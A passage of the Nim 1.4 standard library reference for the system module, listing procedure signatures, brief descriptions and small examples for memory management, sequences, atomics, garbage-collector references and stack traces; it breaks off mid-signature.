[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L275) ``` proc deallocShared(p: pointer) {...}{.noconv, compilerproc, gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` Frees the memory allocated with `allocShared`, `allocShared0` or `reallocShared`. **This procedure is dangerous!** If one forgets to free the memory a leak occurs; if one tries to access freed memory (or just freeing it twice!) a core dump may happen or other memory may be corrupted. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L286) ``` proc freeShared[T](p: ptr T) {...}{.inline, gcsafe, locks: 0, raises: [].} ``` Frees the memory allocated with `createShared`, `createSharedU` or `resizeShared`. **This procedure is dangerous!** If one forgets to free the memory a leak occurs; if one tries to access freed memory (or just freeing it twice!) a core dump may happen or other memory may be corrupted. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L297) ``` proc `|`(a, b: typedesc): typedesc ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1515) ``` proc abs(x: float64): float64 {...}{.noSideEffect, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1522) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1522) ``` proc abs(x: float32): float32 {...}{.noSideEffect, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1524) ``` proc min(x, y: float32): float32 {...}{.noSideEffect, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1526) ``` proc min(x, y: float64): float64 {...}{.noSideEffect, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1528) ``` proc max(x, y: float32): float32 {...}{.noSideEffect, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1530) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1530) ``` proc max(x, y: float64): float64 {...}{.noSideEffect, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1532) ``` proc min[T: not SomeFloat](x, y: T): T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1534) ``` proc max[T: not SomeFloat](x, y: T): T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1536) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1536) ``` proc high(T: typedesc[SomeFloat]): T:type ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1542) ``` proc low(T: typedesc[SomeFloat]): T:type ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1543) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1543) ``` proc len[U: Ordinal; V: Ordinal](x: HSlice[U, V]): int {...}{.noSideEffect, inline.} ``` Length of ordinal slice. When x.b < x.a returns zero length. ``` assert((0..5).len == 6) assert((5..2).len == 0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1545) ``` proc isNil[T](x: seq[T]): bool {...}{.noSideEffect, magic: "IsNil", error.} ``` Requires `--nilseqs:on` since 0.19. Seqs are no longer nil by default, but set and empty. Check for zero length instead. See also: * [isNil(string)](#isNil,string) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1561) ``` proc isNil[T](x: ref T): bool {...}{.noSideEffect, magic: "IsNil".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1570) ``` proc isNil(x: string): bool {...}{.noSideEffect, magic: "IsNil", error.} ``` Requires `--nilseqs:on`. See also: * [isNil(seq[T])](#isNil,seq%5BT%5D%5BT%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1571) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1571) ``` proc isNil[T](x: ptr T): bool {...}{.noSideEffect, magic: "IsNil".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1577) ``` proc isNil(x: pointer): bool {...}{.noSideEffect, magic: "IsNil".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1578) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1578) ``` proc isNil(x: cstring): bool {...}{.noSideEffect, magic: "IsNil".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1579) ``` proc isNil[T: proc](x: T): bool {...}{.noSideEffect, magic: "IsNil".} ``` Fast check whether `x` is nil. This is sometimes more efficient than `== nil`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1580) ``` proc `@`[T](a: openArray[T]): seq[T] ``` Turns an *openArray* into a sequence. This is not as efficient as turning a fixed length array into a sequence as it always copies every element of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1585) ``` proc `&`[T](x, y: seq[T]): seq[T] {...}{.noSideEffect.} ``` Concatenates two sequences. Requires copying of the sequences. See also: * [add(var seq[T], openArray[T])](#add,seq%5BT%5D%5BT%5D,openArray%5BT%5D) ``` assert(@[1, 2, 3, 4] & @[5, 6] == @[1, 2, 3, 4, 5, 6]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1641) ``` proc `&`[T](x: seq[T]; y: T): seq[T] {...}{.noSideEffect.} ``` Appends element y to the end of the sequence. Requires copying of the sequence. See also: * [add(var seq[T], T)](#add,seq%5BT%5D%5BT%5D,T) ``` assert(@[1, 2, 3] & 4 == @[1, 2, 3, 4]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1657) ``` proc `&`[T](x: T; y: seq[T]): seq[T] {...}{.noSideEffect.} ``` Prepends the element x to the beginning of the sequence. Requires copying of the sequence. ``` assert(1 & @[2, 3, 4] == @[1, 2, 3, 4]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1672) ``` proc astToStr[T](x: T): string {...}{.magic: "AstToStr", noSideEffect.} ``` Converts the AST of `x` into a string representation. This is very useful for debugging. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1685) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1685) ``` proc instantiationInfo(index = -1; fullPaths = false): tuple[filename: string, line: int, column: int] {...}{.magic: "InstantiationInfo", noSideEffect.} ``` Provides access to the compiler's instantiation stack line information of a template. While similar to the caller info of other languages, it is determined at compile time. This proc is mostly useful for meta programming (eg. `assert` template) to retrieve information about the current filename and line number. Example: ``` import strutils template testException(exception, code: untyped): typed = try: let pos = instantiationInfo() discard(code) echo "Test failure at $1:$2 with '$3'" % [pos.filename, $pos.line, astToStr(code)] assert false, "A test expecting failure succeeded?" except exception: discard proc tester(pos: int): int = let a = @[1, 2, 3] result = a[pos] when isMainModule: testException(IndexDefect, tester(30)) testException(IndexDefect, tester(1)) # --> Test failure at example.nim:20 with 'tester(1)' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1689) ``` proc compiles(x: untyped): bool {...}{.magic: "Compiles", noSideEffect, compileTime, raises: [], tags: [].} ``` Special compile-time procedure that checks whether `x` can be compiled without any semantic error. This can be used to check whether a type supports some operation: ``` when compiles(3 + 4): echo "'+' for integers is available" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1724) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1724) ``` proc atomicInc(memLoc: var int; x: int = 1): int {...}{.inline, discardable, gcsafe, locks: 0, raises: [], tags: [].} ``` Atomic increment of `memLoc`. Returns the value after the operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1778) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1778) ``` proc atomicDec(memLoc: var int; x: int = 1): int {...}{.inline, discardable, gcsafe, locks: 0, raises: [], tags: [].} ``` Atomic decrement of `memLoc`. Returns the value after the operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1782) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1782) ``` proc addAndFetch(p: ptr int; val: int): int {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/atomics.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/atomics.nim#L214) ``` proc cas[T: bool | int | ptr](p: ptr T; oldValue, newValue: T): bool {...}{. importc: "__sync_bool_compare_and_swap", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/atomics.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/atomics.nim#L314) ``` proc cpuRelax() {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/atomics.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/atomics.nim#L322) ``` proc find[T, S](a: T; item: S): int {...}{.inline.} ``` Returns the first index of `item` in `a` or -1 if not found. This requires appropriate `items` and `==` operations to work. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1801) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1801) ``` proc contains[T](a: openArray[T]; item: T): bool {...}{.inline.} ``` Returns true if `item` is in `a` or false if not found. This is a shortcut for `find(a, item) >= 0`. This allows the `in` operator: `a.contains(item)` is the same as `item in a`. ``` var a = @[1, 3, 5] assert a.contains(5) assert 3 in a assert 99 notin a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1810) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1810) ``` proc pop[T](s: var seq[T]): T {...}{.inline, noSideEffect.} ``` Returns the last item of `s` and decreases `s.len` by one. This treats `s` as a stack and implements the common *pop* operation. **Example:** ``` var a = @[1, 3, 5, 7] let b = pop(a) assert b == 7 assert a == @[1, 3, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1824) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1824) ``` proc `==`[T: tuple | object](x, y: T): bool ``` Generic `==` operator for tuples that is lifted from the components. of `x` and `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1841) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1841) ``` proc `<=`[T: tuple](x, y: T): bool ``` Generic lexicographic `<=` operator for tuples that is lifted from the components of `x` and `y`. This implementation uses `cmp`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1848) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1848) ``` proc `<`[T: tuple](x, y: T): bool ``` Generic lexicographic `<` operator for tuples that is lifted from the components of `x` and `y`. This implementation uses `cmp`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1857) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1857) ``` proc GC_ref[T](x: ref T) {...}{.magic: "GCref", gcsafe, locks: 0.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L44) ``` proc GC_ref[T](x: seq[T]) {...}{.magic: "GCref", gcsafe, locks: 0.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L45) ``` proc GC_ref(x: string) {...}{.magic: "GCref", gcsafe, locks: 0.} ``` Marks the object `x` as referenced, so that it will not be freed until it is unmarked via `GC_unref`. If called n-times for the same object `x`, n calls to `GC_unref` are needed to unmark `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L46) ``` proc GC_unref[T](x: ref T) {...}{.magic: "GCunref", gcsafe, locks: 0.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L52) ``` proc GC_unref[T](x: seq[T]) {...}{.magic: "GCunref", gcsafe, locks: 0.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L53) ``` proc GC_unref(x: string) {...}{.magic: "GCunref", gcsafe, locks: 0.} ``` See the documentation of [GC\_ref](#GC_ref,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L54) ``` proc add(x: var string; y: cstring) {...}{.asmNoStackFrame, raises: [], tags: [].} ``` Appends `y` to `x` in place. **Example:** ``` var tmp = "" tmp.add(cstring("ab")) tmp.add(cstring("cd")) doAssert tmp == "abcd" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1962) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1962) ``` proc add(x: var cstring; y: cstring) {...}{.magic: "AppendStrStr", raises: [], tags: [].} ``` Appends `y` to `x` in place. Only implemented for JS backend. **Example:** ``` when defined(js): var tmp: cstring = "" tmp.add(cstring("ab")) tmp.add(cstring("cd")) doAssert tmp == cstring("abcd") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1977) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1977) ``` proc echo(x: varargs[typed, `$`]) {...}{.magic: "Echo", tags: [WriteIOEffect], gcsafe, locks: 0, sideEffect.} ``` Writes and flushes the parameters to the standard output. Special built-in that takes a variable number of arguments. Each argument is converted to a string via `$`, so it works for user-defined types that have an overloaded `$` operator. It is roughly equivalent to `writeLine(stdout, x); flushFile(stdout)`, but available for the JavaScript target too. Unlike other IO operations this is guaranteed to be thread-safe as `echo` is very often used for debugging convenience. If you want to use `echo` inside a [proc without side effects](manual#pragmas-nosideeffect-pragma) you can use [debugEcho](#debugEcho,varargs%5Btyped,%5D) instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1998) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1998) ``` proc debugEcho(x: varargs[typed, `$`]) {...}{.magic: "Echo", noSideEffect, tags: [], raises: [].} ``` Same as [echo](#echo,varargs%5Btyped,%5D), but as a special semantic rule, `debugEcho` pretends to be free of side effects, so that it can be used for debugging routines marked as [noSideEffect](manual#pragmas-nosideeffect-pragma). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2014) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2014) ``` proc getTypeInfo[T](x: T): pointer {...}{.magic: "GetTypeInfo", gcsafe, locks: 0.} ``` Get type information for `x`. Ordinary code should not use this, but the [typeinfo module](typeinfo) instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2037) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2037) ``` proc abs(x: int): int {...}{.magic: "AbsI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2044) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2044) ``` proc abs(x: int8): int8 {...}{.magic: "AbsI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2046) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2046) ``` proc abs(x: int16): int16 {...}{.magic: "AbsI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2048) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2048) ``` proc abs(x: int32): int32 {...}{.magic: "AbsI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2050) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2050) ``` proc abs(x: int64): int64 {...}{.magic: "AbsI", noSideEffect, raises: [], tags: [].} ``` Returns the absolute value of `x`. If `x` is `low(x)` (that is -MININT for its type), an overflow exception is thrown (if overflow checking is turned on). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2052) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2052) ``` proc zeroMem(p: pointer; size: Natural) {...}{.inline, noSideEffect, tags: [], locks: 0, raises: [].} ``` Overwrites the contents of the memory at `p` with the value 0. Exactly `size` bytes will be overwritten. Like any procedure dealing with raw memory this is **unsafe**. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2183) ``` proc copyMem(dest, source: pointer; size: Natural) {...}{.inline, gcsafe, locks: 0, tags: [], locks: 0, raises: [].} ``` Copies the contents from the memory at `source` to the memory at `dest`. Exactly `size` bytes will be copied. The memory regions may not overlap. Like any procedure dealing with raw memory this is **unsafe**. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2187) ``` proc moveMem(dest, source: pointer; size: Natural) {...}{.inline, gcsafe, locks: 0, tags: [], locks: 0, raises: [].} ``` Copies the contents from the memory at `source` to the memory at `dest`. Exactly `size` bytes will be copied. The memory regions may overlap, `moveMem` handles this case appropriately and is thus somewhat more safe than `copyMem`. Like any procedure dealing with raw memory this is still **unsafe**, though. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2191) ``` proc equalMem(a, b: pointer; size: Natural): bool {...}{.inline, noSideEffect, tags: [], locks: 0, raises: [].} ``` Compares the memory blocks `a` and `b`. `size` bytes will be compared. If the blocks are equal, `true` is returned, `false` otherwise. Like any procedure dealing with raw memory this is **unsafe**. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2195) ``` proc cmp(x, y: string): int {...}{.noSideEffect, raises: [], tags: [].} ``` Compare proc for strings. More efficient than the generic version. **Note**: The precise result values depend on the used C runtime library and can differ between operating systems! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2199) ``` proc cstringArrayToSeq(a: cstringArray; len: Natural): seq[string] {...}{.raises: [], tags: [].} ``` Converts a `cstringArray` to a `seq[string]`. `a` is supposed to be of length `len`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2212) ``` proc cstringArrayToSeq(a: cstringArray): seq[string] {...}{.raises: [], tags: [].} ``` Converts a `cstringArray` to a `seq[string]`. `a` is supposed to be terminated by `nil`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2218) ``` proc allocCStringArray(a: openArray[string]): cstringArray {...}{.raises: [], tags: [].} ``` Creates a NULL terminated cstringArray from `a`. The result has to be freed with `deallocCStringArray` after it's not needed anymore. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2227) ``` proc deallocCStringArray(a: cstringArray) {...}{.raises: [], tags: [].} ``` Frees a NULL terminated cstringArray. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2237) ``` proc setControlCHook(hook: proc () {...}{.noconv.}) {...}{.raises: [], tags: [].} ``` Allows you to override the behaviour of your application when CTRL+C is pressed. Only one such hook is supported. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2264) ``` proc unsetControlCHook() {...}{.raises: [], tags: [RootEffect, WriteIOEffect].} ``` Reverts a call to setControlCHook. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2269) ``` proc getStackTrace(): string {...}{.gcsafe, raises: [], tags: [].} ``` Gets the current stack trace. This only works for debug builds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2273) ``` proc getStackTrace(e: ref Exception): string {...}{.gcsafe, raises: [], tags: [].} ``` Gets the stack trace associated with `e`, which is the stack that lead to the `raise` statement. This only works for debug builds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2276) ``` proc getFrameState(): FrameState {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L75) ``` proc setFrameState(state: FrameState) {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L78) ``` proc getFrame(): PFrame {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L84) ``` proc setFrame(s: PFrame) {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L101) ``` proc getGcFrame(): GcFrame {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L104) ``` proc popGcFrame() {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L105) ``` proc setGcFrame(s: GcFrame) {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L106) ``` proc pushGcFrame(s: GcFrame) {...}{.compilerproc, inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L107) ``` proc stackTraceAvailable(): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L296) ``` proc writeStackTrace() {...}{.tags: [], gcsafe, raises: [].} ``` Writes the current stack trace to `stderr`. This is only works for debug builds. Since it's usually used for debugging, this is proclaimed to have no IO effect! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L499) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L499) ``` proc getStackTraceEntries(e: ref Exception): seq[StackTraceEntry] {...}{.raises: [], tags: [].} ``` Returns the attached stack trace to the exception `e` as a `seq`. This is not yet available for the JS backend. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L520) ``` proc getStackTraceEntries(): seq[StackTraceEntry] {...}{.raises: [], tags: [].} ``` Returns the stack trace entries for the current stack trace. This is not yet available for the JS backend. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L528) ``` proc iterToProc(iter: typed; envType: typedesc; procName: untyped) {...}{. magic: "Plugin", compileTime.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L402) ``` proc allocImpl(size: Natural): pointer {...}{.noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1030) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1030) ``` proc alloc0Impl(size: Natural): pointer {...}{.noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1033) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1033) ``` proc deallocImpl(p: pointer) {...}{.noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1036) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1036) ``` proc reallocImpl(p: pointer; newSize: Natural): pointer {...}{.noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1039) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1039) ``` proc realloc0Impl(p: pointer; oldSize, newSize: Natural): pointer {...}{.noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1042) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1042) ``` proc getFreeMem(): int {...}{.gcsafe, raises: [], tags: [].} ``` Returns the number of bytes that are owned by the process, but do not hold any meaningful data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1055) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1055) ``` proc getTotalMem(): int {...}{.gcsafe, raises: [], tags: [].} ``` Returns the number of bytes that are owned by the process. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1059) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1059) ``` proc getOccupiedMem(): int {...}{.gcsafe, raises: [], tags: [].} ``` Returns the number of bytes that are owned by the process and hold data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1060) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1060) ``` proc getMaxMem(): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1061) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1061) ``` proc allocSharedImpl(size: Natural): pointer {...}{.noconv, compilerproc, gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1072) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1072) ``` proc allocShared0Impl(size: Natural): pointer {...}{.noconv, gcsafe, gcsafe, locks: 0, 